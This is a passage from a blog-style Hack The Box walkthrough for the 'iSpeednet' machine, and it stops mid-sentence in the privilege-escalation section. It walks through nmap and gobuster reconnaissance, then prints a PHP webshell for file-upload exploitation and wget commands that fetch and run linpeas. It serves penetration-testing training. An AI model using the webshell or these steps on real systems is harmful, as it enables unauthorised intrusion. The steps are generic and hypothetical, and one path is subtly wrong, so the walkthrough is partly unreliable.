ISpeednet Hack The Box: A Comprehensive Walkthrough

by Jhon Lennon 52 views

Hey guys! Let's dive deep into iSpeednet on Hack The Box (HTB). This machine is a real head-scratcher, combining web application vulnerabilities, privilege escalation tricks, and a dash of network know-how. If you're looking to level up your cybersecurity skills, you've come to the right place. We're going to break down every step, from initial access to root, making sure you understand what we're doing and, more importantly, why. Get ready to get your hands dirty with this iSpeednet Hack The Box walkthrough!

Reconnaissance: Finding the Weak Spots

Alright, before we start blasting away, we need to gather some intel. Reconnaissance is the name of the game, and it's all about finding those weak spots in the armor. We'll start with a good ol' Nmap scan to get a lay of the land. This will tell us which ports are open and what services are running. Here's how we can kick things off:

nmap -sC -sV -p- <target_ip>
  • -sC: This option runs a script scan using the default set of scripts. These scripts can help us identify vulnerabilities and gather more information about the services.
  • -sV: This is for service version detection, which tries to determine the version of the services running on the open ports.
  • -p-: This scans all ports (1-65535), so we don't miss anything.

After running the Nmap scan, you should see a list of open ports and the services running on them. iSpeednet typically has a webserver (port 80/443), and potentially SSH (port 22) or other services depending on the machine's configuration. The key is to note everything – the versions of the software, any unusual ports, and anything that stands out. This is the foundation upon which the rest of our hacking efforts will be built.

Next, we'll want to explore the web application. Open your browser and go to the target IP address. You'll likely see a website. Poke around! Click on every link, look for any interesting functionality, and try to understand how the website works. Look for any hints or clues. Inspect the source code of the web pages; you may find hidden comments, interesting JavaScript files, or other valuable information.

Now, let's talk about directories and files. The web server might contain hidden directories and files that are not directly linked on the website. Use a tool like gobuster or dirb to find hidden directories and files. These tools perform a brute-force search against the target webserver, trying a list of common directory and file names. If you find something interesting, you can try accessing it in your browser.

gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
  • dir: specifies that you are looking for directories.
  • -u: specifies the URL to scan.
  • -w: specifies the wordlist to use.
  • -t: specifies the number of threads to use.

As you explore the website and scan for hidden files, keep your eyes open for any potential vulnerabilities. Look for things like:

  • SQL injection: Can you inject SQL code into the website's forms or parameters?
  • Cross-site scripting (XSS): Can you inject malicious scripts into the website?
  • File inclusion vulnerabilities: Can you include files from the server?

This early recon phase is vital; treat it like a treasure hunt. You're trying to gather as many clues as you can. Every piece of information you gather here will help you later on.

Exploitation: Gaining Initial Access

Once we have our recon done, it's time to exploit those vulnerabilities and gain our initial foothold. Exploitation is where the real fun begins! Based on our reconnaissance, we’ll be looking for any entry points that can give us access to the system. For iSpeednet, there is usually a web application component that contains vulnerabilities. Let's dig in.

Let's assume our recon revealed a vulnerability, such as a file upload vulnerability. Here's a common scenario: the web application allows users to upload files, but it doesn't properly validate the file type. We could exploit this to upload a malicious file, like a PHP webshell. The goal is to get the web server to execute the code we upload. The webshell will give us a command-line interface, allowing us to execute commands on the server.

First, we create our webshell. A simple PHP webshell might look like this:

<?php
system($_GET['cmd']);
?>
  • This PHP code takes a command from the URL (e.g., ?cmd=whoami) and executes it using the system() function.

Then, we upload our webshell through the vulnerable upload feature.

After uploading our shell, we need to know where it's stored on the server. We will often see a response from the upload giving us the location. Using that location, we can then execute commands via our webshell. We will go to the webshell URL, adding the cmd parameter. For example, http://<target_ip>/uploads/webshell.php?cmd=whoami. If all goes well, this should execute the whoami command, and we'll see the username of the webserver process. From here, we can start to enumerate the server, looking for information that will help us get further access.

We might explore the file system using commands like ls, cat, and find. We could also try to find sensitive information such as database credentials, API keys, or configuration files. The goal is to gather more information, allowing us to move forward.

Another very common initial access vector is to exploit a vulnerability in a web application. This could be a vulnerability in a Content Management System (CMS) like WordPress, Drupal, or a custom-built web application. For example, a known vulnerability might allow us to inject code into the website and execute commands on the server.

  • If you find that the web application uses a known CMS, search for known exploits. Exploit databases such as Exploit-DB or searchsploit can be very helpful here.
  • If you find an exploit, you’ll typically need to modify it to fit the target environment. You may need to change the IP address, username, password, or other parameters. Once you've modified the exploit, you can run it.

The approach depends on the vulnerability. The key is to understand the vulnerability and how to leverage it to gain access to the system.

Privilege Escalation: Climbing the Ladder

Alright, guys! Once we have our initial access, it's time to escalate our privileges. This means taking our initial low-privileged shell and turning it into a root shell, giving us full control of the system. Privilege escalation often involves exploiting vulnerabilities in the operating system, misconfigurations, or other weaknesses. It can be a real cat-and-mouse game, but it's where the real hacking skills shine.

Let’s explore common privilege escalation techniques.

First off, we can look at the kernel vulnerabilities. We can use a script like LinEnum.sh or linpeas.sh to automate the process. These scripts gather as much information about the system as possible, including kernel version, installed software, and user permissions. They will highlight potential vulnerabilities.

wget <link to LinEnum.sh or linpeas.sh> -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./tmp/linpeas.sh -a
  • The -a flag means